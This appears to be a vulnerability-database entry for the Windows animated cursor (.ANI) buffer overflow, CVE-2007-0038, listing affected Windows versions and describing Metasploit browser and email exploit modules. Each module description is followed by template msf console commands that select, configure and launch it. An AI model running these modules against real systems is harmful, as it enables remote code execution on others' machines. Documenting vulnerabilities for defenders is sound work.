Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote malicious users to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.
| Vendor | Product | Versions |
|---|---|---|
| Microsoft | Windows 2000 | * |
| Microsoft | Windows 2003 Server | Gold, Sp1, Sp2 |
| Microsoft | Windows Vista | * |
| Microsoft | Windows Xp | * |
This module exploits a buffer overflow vulnerability in the LoadAniIcon() function in USER32.dll. The flaw can be triggered through Internet Explorer 6 and 7 by using the CURSOR style sheet directive to load a malicious .ANI file. The module can also exploit Mozilla Firefox by using a UNC path in a moz-icon URL and serving the .ANI file over WebDAV. The vulnerable code in USER32.dll will catch any exceptions that occur while the invalid cursor is loaded, causing the exploit to silently fail when the wrong target has been chosen. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.
Vulmon
msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > show targets
...targets...
msf exploit(ms07_017_ani_loadimage_chunksize) > set TARGET <target-id>
msf exploit(ms07_017_ani_loadimage_chunksize) > show options
...show and set options...
msf exploit(ms07_017_ani_loadimage_chunksize) > exploitThis module exploits a buffer overflow vulnerability in the LoadAniIcon() function of USER32.dll. The flaw is triggered through Outlook Express by using the CURSOR style sheet directive to load a malicious .ANI file. This vulnerability was discovered by Alexander Sotirov of Determina and was rediscovered, in the wild, by McAfee.
msf > use exploit/windows/email/ms07_017_ani_loadimage_chunksize
msf exploit(ms07_017_ani_loadimage_chunksize) > show targets
...targets...
msf exploit(ms07_017_ani_loadimage_chunksize) > set TARGET <target-id>
msf exploit(ms07_017_ani_loadimage_chunksize) > show options
...show and set options...
msf exploit(ms07_017_ani_loadimage_chunksize) > exploit